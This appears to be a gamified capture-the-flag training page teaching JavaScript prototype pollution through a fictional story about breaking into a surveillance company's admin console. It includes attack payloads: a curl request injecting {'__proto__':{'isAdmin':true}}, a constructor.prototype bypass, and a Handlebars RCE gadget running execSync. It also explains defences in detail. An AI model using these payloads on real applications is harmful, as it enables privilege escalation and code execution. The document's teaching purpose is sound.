«
◀
OP-27 // PROTOTYPE
CAMPAIGN 3 // PROTOTYPE POLLUTION
0
XP
T1
RANK
0%
DETECT
↻
RESET
CAMPAIGN 3 — THE GHOST PROTOCOL
PROTOTYPE POLLUTION // OWASP A08 // JS OBJECT CHAIN
OP-27
SOFTWARE INTEGRITY // PROTOTYPE POLLUTION
PROTOTYPE
CHAIN EXPLORER · PAYLOAD BUILDER · ADMIN NAVIGATOR · DEFENCE CONFIGURATOR
OPERATION PROTOTYPE — CAMPAIGN 3
🧬
SITUATION
26H 10M REMAINING
This is the last door. Behind administrator on the Vantage console sits the full Syndicate client list — and the name behind Director Kane. The operator console runs a JavaScript framework with a configuration parser that performs an unsafe object merge. Shadow’s current session from Op 24 has operator-level access. MENDAX needs administrator.
The configuration parser copies all input properties into an internal config object without checking whether the keys are prototype-level properties. By injecting
What Shadow finds after elevation will be the most important moment in this campaign.
The configuration parser copies all input properties into an internal config object without checking whether the keys are prototype-level properties. By injecting
__proto__.isAdmin: true through the config input, Shadow can pollute the JavaScript object prototype — making every object in the application inherit isAdmin: true, including the access control objects.What Shadow finds after elevation will be the most important moment in this campaign.
WHAT IS PROTOTYPE POLLUTION?
FEYNMAN PRIMER
Imagine a factory that uses a master blueprint for all its products. If someone secretly modifies that blueprint, every new product created after that change inherits the modified design. So one hidden change affects everything that comes after it.
🧬 The developer assumed user input would only ever contain expected keys. They forgot that
__proto__ is also a key — and it reaches the master template.EMAIL // HOLT TO DEVTEAM-CONTRACTOR // 2023-08-22
“We need the console live by the deadline. Testing cycles can be compressed. The console is internal-only — it is not client-facing. Standard validation is sufficient for an internal tool.”
◈ MENDAX: “Standard validation. For an internal tool that controls access to the full monitored targets list.”
MENDAX — DARK CHANNEL // OP-27 BRIEF
09:06
MENDAX
“The console framework has a prototype pollution flaw — pollute the defaults, become admin. This is it, Shadow. Administrator on this box is the whole Syndicate client list, and it’s where Kane finally stops being a codename. Elevate. Op 27.”
Op 26 — Race Day: a TOCTOU race condition in the transfer approval flow. Two concurrent requests both passed the balance check before either could write — the same funds withdrawn twice.
TARGET
nexus-config.nexus-global.int
IP ADDRESS
10.47.1.27
OS / SERVER
Ubuntu 22.04 · Node.js 18.x · lodash 4.17.4 (vulnerable)
KEY SERVICES
Config merge API · Unsafe deep merge · No schema validation
ATTACK SCOPE
Prototype pollution via JSON body — isAdmin injection
ATTACKER NODE
shadow@sigma9 · 10.99.0.1
📋 ROOM TASKS
01
✓
Understand how unsanitised object merge poisons the JS prototype chain
02
▶
Inject a payload that every object in the runtime inherits
03
○
Classify merge patterns by prototype pollution risk
04
○
Identify the fix (Object.create(null) + schema validation + safe merge)
05
○
Submit the capture-the-flag token
CAPTURE THE FLAG
Complete the exploit lab. The flag appears below once Phase 2 is done. Copy and submit it here for +50 XP.
PHASE 01
PROTOTYPE CHAIN EXPLORER
EXPLORE
SIGMA-9 CAPTURE LOG — HOW WE FOUND IT
02:47 UTC
> vantage-ops.net /api/profile accepts JSON and deep-merges it into a settings object
> the merge walks nested keys recursively with no blocklist on __proto__
> FOUND: a key named __proto__ writes straight onto Object.prototype — every object inherits it
MENDAX: "We don't edit our account. We edit the template every account is stamped from."
MENDAX — HOW THIS IS ACTUALLY DONE
LIVE
MENDAX
A recursive merge copies your keys into theirs. Most keys are harmless — but __proto__ isn't a normal key. Assigning to it reaches up and modifies Object.prototype, the master template every object inherits from.
$ curl -X POST https://vantage-ops.net/api/profile \
-H 'Content-Type: application/json' \
-d '{"__proto__":{"isAdmin":true}}'
# server deep-merges this into its settings object
MENDAX
Now any object that checks isAdmin and doesn't have its own value falls through to the prototype — and the prototype says true. Every user, including freshly created ones, inherits admin.
> const u = {}; u.isAdmin
true // never set on u — inherited from polluted Object.prototype
MENDAX
One request and the whole app thinks everyone is an admin. Your call, Shadow — flip one switch or poison the well?
💡 Every JavaScript object has a secret link to a master template. Properties not found on the object itself are looked up through this chain. Tap each node and link to understand how that chain works — and where the attack fits.
MENDAX
ENCRYPTED
Three nodes connected by prototype links.
Tap each node to inspect its properties and understand what it provides. Tap the
userSession is your current object. Object.prototype is the master template. null is where the chain ends.Tap each node to inspect its properties and understand what it provides. Tap the
__proto__ link to see why it is the attack vector. Tap all five interactive elements to proceed.Tapped: 0 / 5
userSession { }
userId: "WILKINS-7"
role: "operator"
sessionToken: "TOKEN-SID-7743F"
role: "operator"
sessionToken: "TOKEN-SID-7743F"
[[Prototype]] / __proto__
Object.prototype
toString()
hasOwnProperty()
valueOf()
… shared by all objects
hasOwnProperty()
valueOf()
… shared by all objects
[[Prototype]]
null
chain ends here
► PROPERTY INSPECTOR
tap a node
Tap a node or link above to inspect it.
✓
PROTOTYPE CHAIN UNDERSTOOD
Every object in the application shares
Object.prototype. Write to it via __proto__ and every object — including the access control objects — inherits the new property. The attack does not touch any individual object directly. It changes the defaults.
Why
__proto__ is the entry point: __proto__ is a legacy accessor that directly exposes an object’s prototype reference. When a merge function copies input[__proto__] to config[__proto__], it writes to Object.prototype itself — not to the config object’s own properties.🔧 UNDER THE HOOD▼
THE ATTACK — STEP BY STEP
Prototype pollution — JavaScript object merges that don't check for
__proto__ let attackers inject properties onto the base Object prototype, affecting every object in the application:// Vulnerable deep merge function:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// Attack payload (via JSON body, query param, or URL-encoded form):
// {"__proto__": {"isAdmin": true}}
// After merge:
merge({}, JSON.parse('{__proto__:{isAdmin:true}}'));
// Now EVERY object in the app has .isAdmin = true:
let user = {};
console.log(user.isAdmin); // true — even freshly created objects!
console.log({}.isAdmin); // true — the prototype is globally poisoned
COMMON VARIATIONS
1. constructor.prototype injection — alternative path to the prototype when
__proto__ is blocked:// Payload: {"constructor": {"prototype": {"admin": true}}}
// Same effect — poisons the prototype chain via the constructor property
2. Gadget chain to RCE via template engines — Handlebars, Pug, and EJS read properties from the prototype during template rendering:// Handlebars RCE gadget (CVE-2019-19919):
// Pollute: {"__proto__": {"outputFunctionName": "x; process.mainModule.require('child_process').execSync('id'); x"}}
// Next time any Handlebars template renders — RCE executes
3. DoS via prototype pollution — pollute a property that a sorting or comparison function uses, causing infinite loops or type errors that crash the server:// Pollute: {"__proto__": {"toString": null}}
// Any code that calls toString() on any object will now throw
HOW TO DEFEND
Multiple layers: freeze the prototype, use schema validation, and create prototype-free objects for data storage:
// 1. Freeze Object.prototype — prevents any modification:
Object.freeze(Object.prototype);
// Do this as early as possible in your app startup (before any imports)
// Any attempt to set __proto__ properties silently fails (or throws in strict mode)
// 2. Use Object.create(null) for data dictionaries — no prototype at all:
const data = Object.create(null);
// data.__proto__ is undefined — no prototype chain to pollute
// 3. Validate input with JSON Schema before merging:
const Ajv = require('ajv');
const ajv = new Ajv();
const schema = {
type: 'object',
additionalProperties: { type: 'string' },
not: {
required: ['__proto__'] // reject any key named __proto__
}
};
if (!ajv.validate(schema, userInput)) throw new Error('Invalid input');
// 4. Safe merge — skip dangerous keys:
function safeMerge(target, source) {
for (let key of Object.keys(source)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
target[key] = source[key];
}
}
PHASE 02
PAYLOAD BUILDER
EXPLOIT
Prototype chain understood. Now find the exact line in the merge function and build the payload that rewrites every object in the application.
💡 Identify the vulnerable line in the merge function, then construct the payload that exploits it. Watch the property inspector update live when you inject.
MENDAX
ENCRYPTED
The console’s configuration parser uses a merge function to copy user-supplied settings into a config object. Tap the vulnerable line in the code below. Then build and inject the payload that elevates Shadow’s session to administrator.
▶ VULNERABLE — TAP THE DANGEROUS LINE
👉 Tap the line where prototype pollution is possible
✓
PAYLOAD INJECTED — ADMINISTRATOR ACCESS GRANTED
isAdmin: true is now on Object.prototype. Every object in the application — including accessControl, sessionPermissions, and roleConfig — inherits it. The access control check reads session.isAdmin, finds it on the prototype, and returns true. Shadow is now administrator without ever having administrator credentials.
Why the check passes:
session.isAdmin looks up isAdmin on the session object first, then on its prototype. The property isn’t on the session object — but it is on Object.prototype. The lookup succeeds. The check passes.PHASE 03
ADMIN CONSOLE
NAVIGATE
Payload injected — Object.prototype now carries isAdmin: true. Shadow is inside the admin console. The third data category is the reason this entire operation exists.
💡 Administrator access unlocked. MENDAX needs three data categories from the monitored targets list. Navigate the admin console. The third category will stop you.
MENDAX
ENCRYPTED
Shadow now has full administrator access. The monitored targets list is longer than the auction client list. Navigate the console tabs and tap each data value to extract it. MENDAX has requested three specific categories.
Read everything carefully. What you find in the third category is the reason we are here.
Read everything carefully. What you find in the third category is the reason we are here.
MENDAX’S TARGETS — tap value to extract
□ Total monitored entities
□ Client count by type
□ Target categories
OVERVIEW
CLIENTS
TARGETS
REPORTS
⚠ MONITORED TARGETS — CATEGORY 3 // CIVIL SOCIETY
Target class: HUMAN RIGHTS / CIVIL SOCIETY
Entities monitored: 1,247 identifiers
Collection type: Communications metadata + location
Client designation: [REDACTED] — multiple clients
Sub-categories: Journalists (341) — Lawyers (208) — Opposition politicians (187) — Human rights researchers (312) — Civil society organisations (199)
STATUS: ACTIVE COLLECTION
Entities monitored: 1,247 identifiers
Collection type: Communications metadata + location
Client designation: [REDACTED] — multiple clients
Sub-categories: Journalists (341) — Lawyers (208) — Opposition politicians (187) — Human rights researchers (312) — Civil society organisations (199)
STATUS: ACTIVE COLLECTION
TARGET ID: 7743-J — INVESTIGATIVE JOURNALIST — PARIS, FRANCE
Collection start: 2023-09-14
Client: [REDACTED]
Associated: ICIJ-affiliated network
Status: ACTIVE
Collection start: 2023-09-14
Client: [REDACTED]
Associated: ICIJ-affiliated network
Status: ACTIVE
Shadow stops.
Target ID 7743-J. Paris. ICIJ-affiliated. Active collection start: September 2023. Four months before Rousseau sent a message to what she thought was a Vantage archive server.
She was not watching Vantage. Vantage was watching her.
Target ID 7743-J. Paris. ICIJ-affiliated. Active collection start: September 2023. Four months before Rousseau sent a message to what she thought was a Vantage archive server.
She was not watching Vantage. Vantage was watching her.
✓
THREE TARGETS EXTRACTED — IMPACT ASSESSED
94,381 monitored entities. Governments and corporations as clients — but also the targets those clients specified. Journalists. Lawyers. Opposition politicians. Human rights researchers.
And Camille Rousseau. Who sent Shadow a message four months after Vantage started collecting her communications metadata.
MENDAX: "I know. I knew before you started. I needed you to see it yourself."
And Camille Rousseau. Who sent Shadow a message four months after Vantage started collecting her communications metadata.
MENDAX: "I know. I knew before you started. I needed you to see it yourself."
PHASE 04
SANITISATION SELECTOR
DEFEND
94,381 entities extracted — including Rousseau. Now understand the four layers of defence that should have made this final operation impossible.
💡 All four protections are valid. All four must be enabled. Defence against prototype pollution is layered — no single protection is sufficient on its own. Toggle each one to reveal the specific attack vector it blocks.
MENDAX
ENCRYPTED
Vantage has four available defences against prototype pollution. Their development contractor implemented none of them — “standard validation is sufficient for an internal tool.”
Enable all four. Understand what each one blocks. When all are active, the attack Shadow just used becomes impossible.
Enable all four. Understand what each one blocks. When all are active, the attack Shadow just used becomes impossible.
✓
ALL FOUR DEFENCES ACTIVE
With all four protections enabled, the attack Shadow used becomes impossible. The merge function never writes to
Defence is layered by design. Any one protection might be misconfigured or missing. All four together create overlapping guarantees.
__proto__. Objects created with Object.create(null) have no prototype to pollute. The JSON schema rejects any input containing prototype-level keys before they reach the parser. And Object.freeze(Object.prototype) makes the prototype immutable — writes silently fail.Defence is layered by design. Any one protection might be misconfigured or missing. All four together create overlapping guarantees.
What the reporting engine reveals: The admin console contains a reference to an internal report. The report contains the full client list including the anonymous buyers. The reporting engine URL is in the system panel. MENDAX has flagged the URL. The trail continues.
🧬
OPERATION 27 — COMPLETE
PROTOTYPE — SUCCESS
ADMINISTRATOR ACCESS // TARGETS LIST EXTRACTED
+0
XP EARNED THIS OPERATION
94,381 monitored entities. The list is longer than anyone expected. It includes not just the governments and corporations that commissioned surveillance — it includes the targets those clients specified. Journalists. Lawyers. Opposition politicians. Human rights researchers.
And Camille Rousseau. Who reached out to Shadow because she noticed a dangling DNS record. Who sent a message to what she thought was a Vantage archive server. Who has been under active surveillance for four months.
The reporting engine is still running. The full client list — including the anonymous buyers — is accessible.
And Camille Rousseau. Who reached out to Shadow because she noticed a dangling DNS record. Who sent a message to what she thought was a Vantage archive server. Who has been under active surveillance for four months.
The reporting engine is still running. The full client list — including the anonymous buyers — is accessible.
▼ CAMPAIGN 3 — THE GHOST PROTOCOL — PART I
Twenty-seven operations. Every category of the OWASP Top 10 mapped, exploited, and defended — from the SYN flood reconnaissance that opened the campaign to the prototype pollution that delivered administrator access inside Vantage's own console. Shadow has dismantled the Syndicate's infrastructure piece by piece: availability attacks, memory leaks, stolen sessions, ghost redirects, race windows, and now a poisoned object prototype propagating through every layer of a live production system. The Vantage network that Kane built as an untouchable commercial surveillance platform has been entered from seventeen different angles without triggering a single alarm. The work was not destruction — it was precision. Every technique learned here exists in the wild, used every day by defenders and adversaries alike. You now know both sides.
⚠ MENDAX — DARK CHANNEL // 09:44
“I know. I knew before you started. I needed you to see it yourself.”
Shadow: Who is watching Rousseau?
MENDAX: The same client who started watching her in September. When she published a partial story about surveillance infrastructure in the Gulf. They knew she was going to come back to it. Transmissions resuming shortly — the answer is close.
MENDAX: The same client who started watching her in September. When she published a partial story about surveillance infrastructure in the Gulf. They knew she was going to come back to it. Transmissions resuming shortly — the answer is close.
MENDAX — DARK CHANNEL // POST-PROTOTYPE
09:44
MENDAX
“You’re admin. The reporting engine uses a template system — that’s where Kane’s buyer signs his name. Find the injection point. The next transmission will show you. Op 28.”
09:44 — DARK CHANNEL
SHADOW
94,381 entities. The targets list includes journalists. Civil society. Human rights researchers. Rousseau is on it.
MENDAX
I know. I knew before you started. I needed you to see it yourself.
SHADOW
Who is paying to watch her?
MENDAX
The reporting engine has the full client list. The anonymous buyer will be there. The trail leads deeper. Transmissions resuming soon.
DEBRIEF — REFLECTION QUESTION
You modified the base prototype and every object in the application inherited the change. What design choice at the object level would have isolated each object from global contamination?
CAMPAIGN 3 — PART I COMPLETE
You have run 27 operations. SQL injection, XSS, broken auth, CSRF, IDOR, command injection, path traversal, file upload, XXE, SSRF — and every variant, bypass, and defence technique attached to them. The Ghost Protocol is not over. New transmissions are incoming.
NEW OPERATIONS ADDED WEEKLY — CHECK THE HQ
SIGMA-9 ACADEMY
OPERATION 27 // PROTOTYPE POLLUTION // OBJECT CHAIN // COMPLETE REFERENCE
◈ THE JAVASCRIPT PROTOTYPE CHAIN
JavaScript uses prototype-based inheritance. Every object has an internal link (
[[Prototype]]) to another object from which it inherits properties and methods. This chain terminates at Object.prototype — the root template for all objects — and then at null.When you access
obj.someProperty, JavaScript first checks if someProperty exists on obj itself. If not, it checks obj.__proto__. Then obj.__proto__.__proto__. This continues until the property is found or the chain reaches null.Why this matters:
Object.prototype is shared by every object in the application. Write a property to it and every object inherits that property — regardless of whether the object was created before or after the write.◈ HOW PROTOTYPE POLLUTION WORKS
Vulnerable merge function:
If
function merge(target, source) {
for (let key in source) {
target[key] = source[key]; // ← no key check
}
}If
source contains {"__proto__": {"isAdmin": true}}, then target["__proto__"]["isAdmin"] = true writes to Object.prototype.isAdmin.Why the access control check then passes:
if (session.isAdmin) { grantAccess(); }session.isAdmin is not defined on the session object. JavaScript looks up the prototype chain. It finds isAdmin: true on Object.prototype. The check returns true. Access is granted without any valid credential.◈ ALL FOUR DEFENCES — WHY EACH IS NECESSARY
hasOwnProperty check: Before copying any key, verify it belongs to the source object directly — not inherited from a prototype. Blocks
__proto__, constructor, and prototype keys from being merged.Object.create(null): Creates a new object with no prototype at all. An object with no prototype cannot be the entry point for chain pollution — there is no
__proto__ accessor to exploit.JSON schema validation: Reject any input containing
__proto__, constructor, or prototype as keys before the input reaches the parser. Blocks the payload before the vulnerable code can be reached.Object.freeze(Object.prototype): Makes
Object.prototype immutable. Any attempt to write to it — including via __proto__ — silently fails in non-strict mode, throws an error in strict mode. Last line of defence if all others are bypassed.❓
FIELD QUESTIONS — PROTOTYPE
Why is prototype pollution classified as a software integrity failure?
Prototype pollution subverts the integrity of the application’s data structures without modifying any file, injecting any SQL, or exploiting a memory vulnerability. The application’s objects are supposed to have known, controlled properties. Prototype pollution adds properties those objects were never intended to have — and the application logic cannot distinguish between properties it set and properties that were injected. The integrity of the property lookup mechanism is compromised.
What is the difference between own properties and prototype properties?
Own properties are defined directly on an object:
Prototype properties are inherited from the prototype chain.
The access control check
const obj = { name: "Shadow" } makes name an own property of obj. Object.hasOwn(obj, "name") returns true.Prototype properties are inherited from the prototype chain.
obj.toString exists because Object.prototype.toString exists — but Object.hasOwn(obj, "toString") returns false.The access control check
session.isAdmin does not distinguish between the two. After pollution, it finds isAdmin on the prototype and treats it as valid.Could this vulnerability have been found in code review?
Yes — a security-aware code review would have flagged any function that copies user-supplied keys to an object without checking for prototype-level properties. The vulnerable pattern (
target[key] = source[key] in a loop over user input) is well-documented. Static analysis tools like Semgrep have rules for detecting this pattern. The vulnerability persisted because Holt’s team compressed testing cycles and classified the console as internal-only — a risk categorisation that assumes internal users are non-adversarial.REAL-WORLD TOOLS — JS PROTOTYPE SAFETY
WHAT PROFESSIONALS USE
🐛
Burp Suite
FREE TIER
Intercept and modify JSON request bodies to test how an API handles unexpected keys like __proto__.
inject {"__proto__":{"x":1}} into body
🧪
npm audit / Snyk
FREE TIER
Flags dependencies with known prototype-pollution advisories so they can be patched.
npm audit --audit-level=high
🔐
Object.freeze / Map
FREE / OPEN SOURCE
The defence: null-prototype objects, Object.freeze(Object.prototype), and schema validation block pollution.
const o = Object.create(null)
LEAVE MISSION?
Progress is saved. You can resume from the mission select screen at any time.
RESET MISSION?
This wipes all progress for this operation only. XP in other operations is unaffected.
ARE YOU SURE?
Final confirmation -- all progress for this operation will be permanently erased.